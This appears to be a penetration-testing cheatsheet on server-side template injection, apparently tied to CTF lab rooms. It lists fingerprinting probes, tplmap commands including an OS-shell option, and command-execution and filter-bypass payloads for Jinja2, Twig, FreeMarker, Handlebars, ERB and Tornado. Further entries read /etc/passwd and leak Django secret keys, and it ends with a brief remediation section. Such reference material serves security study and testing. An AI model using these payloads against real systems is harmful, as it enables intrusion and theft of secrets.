Server-Side Template Injection (SSTI)

server_side_attacks ssti_server_side_template_injection ssti java_ssti ssti ssti_erb ssti_tornado ssti_handlebars ssti_tornado ssti_freemarker ssti_sandboxed_freemarker

Server-Side Template Injection occurs when we can inject code that is parsed by a template engine such as Jinja2 in Python.

Sometimes, the attack vector may be less explicit. For instance, a form may allow you to select a property (aaa, bbb, etc.) which is later injected in a template ({{ xxx.aaa }}).

You may be able to guess the template engine used from the web server, for instance, if it's Python then it's most likely Jinja.

To guess the template engine, we can try every token (${{<%[%'"}}%\) with expressions such as 7*7 or 7*'7' and look for the output/errors.

There are a few tools you might use:

$ tplmap -u 'http://example.com:80/*'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy'
$ tplmap -u 'http://example.com:80' -d 'xxx=yyy' --os-shell

Jinja2 Template Engine β€” Python

server_side_attacks jinja2_ssti python_ssti_introduction django_unchained djangocatz

Jinja2 SSTI β€” PoC

Refer to JinJa2 Notes if needed.

  • Basic Fingerprint PoC: {{ "PoC" }} then {{ "PoC"|e }}
  • Test for instructions: {% debug %} and {% print("PoC") %}

Try to print the context {{ self._TemplateReference__context }}. It's always available unless filtered. It will list which objects are available.

  • self: a Python object
  • range: a Python object
  • dict: a Python object
  • cycler: a Python object
  • lipsum: a Python function
  • joiner: a Python object
  • namespace: a Python object
  • config: a Python object
  • request: a Python object available in Flask render functions

Jinja2 SSTI β€” Local Testing

If we don't care about XSS, the shortest code to test is:

from jinja2 import Template
template = Template("""{{ self }}""")
output = template.render()
print(output)

If we need to consider XSS, which is the default with Flask, use:

from jinja2 import Environment, select_autoescape
env = Environment(autoescape=select_autoescape(['html', 'xml']))
template = env.from_string("""{{ self }}""")
output = template.render()
print(output)

Finally, if we need to test a sandbox environment, e.g. where self is empty and only some classes/attributes are allowed:

# Extend sandbox.SandboxedEnvironment to allow attributes
from jinja2 import select_autoescape, DictLoader, sandbox
template_string = """{{ self.__dict__ }}"""
env = sandbox.SandboxedEnvironment(
    loader=DictLoader({'dummy_template': template_string}),
    autoescape=select_autoescape(['html', 'xml'])
)
env.globals = {} # add stuff here
template = env.get_template('dummy_template')
output = template.render()
print(output)

Jinja2 SSTI β€” Modern payloads

Old payloads were using introspection from () or "" (ref).

{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler.__init__.__globals__.os.popen("ls -1a").read() }}
{{ lipsum.__globals__.os.popen('ls -1a').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').system('ls') }}
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls -1a').read() }}

Jinja2 SSTI β€” Filter Bypass

python_ssti_introduction djangocatz

Refer to my Python Cheatsheet and this summary:

{{ cycler.__init__.__globals__.os.system('ls') }}
{{ cycler['__init__']['__globals__']['os']['system']('whoami') }}
{{ cycler|attr('__init__')|attr('__globals__')|attr('get')('os')|attr('system')('ls') }}
{{ cycler|attr('__in'+'it__')|[...] }}
{{ cycler|attr('__in'~'it__')|[...] }}
{{ cycler|attr(('@@in'~'it@@'|replace("@", "\u005F")))|[...] }}
{{ lipsum['__builtins__'].__import__('os').system('whoami') }}
{{ iamnotfiltered.__init__.__globals__.__builtins__.__import__('os').system('whoami') }}

One thing of importance is that Jinja support a property access syntax with [] even for objects such as os which natively don't support it.

{{ cycler['__init__'] }}
{{ self['__dict__'] }}
{{ some_payload.__import__('os')['system'] }}

Sometimes, quotes may not be required, while it's rare.

Jinja2 SSTI β€” Remediation

Never inject untrusted input in your template before rendering them. Always pass the input as parameters as intended.

-with open('templates/xxx.html') as f:
-    template = f.read()
-template = template.replace("{{ param1 }}", value1)
-template = template.replace("{{ param2 }}", value2)
-return render_template_string(template)
+return render_template('xxx.html', param1=value1, param2=value2)

Flask automatically escape all parameters by default. Otherwise, Jinja default mode requires you to escape all dangerous parameters to avoid XSS. Replace {{ param1 }} with {{ param1|e }}.

Using the automatic mode is less performant but easier. When using it, you may mark safe parameters as safe with {{ param3|safe }}.


Well-Known Template Engines

Twig Template Engine β€” PHP

server_side_attacks

Link to the official documentation. GitHub (8.2k ⭐).

  • Basic Fingerprint PoC: {{_self}}, {{_self.env}}
  • Random payloads:
{{_self.env.display("TEST")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id;uname -a;hostname;printenv")}}

πŸ“š Both exec and system are PHP functions.


Apache FreeMarker Template Engine - Java

ssti_freemarker ssti_sandboxed_freemarker

${7/0} generates an error and expose FreeMarker in the stack trace.

<#assign ex = "freemarker.template.utility.Execute"?new()>
${ ex("whoami")}

You can also read files if you have an object at hand:

// 'myObject' is an object passed to the template
${myObject.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(",")}

Handlebars Template Engine β€” JavaScript

ssti_handlebars

...
{{this.push "return require('child_process').execSync('whoami');"}}
... 

Apache Velocity Template Engine β€” Java

Link to the official documentation.

  • Basic PoC: #set($s=7+7) $s

ERB Template System β€” Ruby

ssti_erb

Link to the official repository.

  • Basic PoC: <%= 7*7 %>
  • RCE payload: <%= system("whoami") %>

Tornado Web Framework Templates β€” Python

server_side_attacks ssti_tornado

Link to the template section of the official documentation.

{% import os %}
{{os.popen('whoami').read()}}

Django Template Engine β€” Python 2.7

ssti_django

Django can use Jinja2 or its own template engine. You can access attributes such as the app secret key, but you can't invoke functions.

{{7*'7'}} or {{7*7}} == Error
{% debug %}          == Print all variables
{{settings.SECRET_KEY}} == Print the secret key
{{ messages.storages.0.signer.key }} == Print the secret key (has multiple requirements)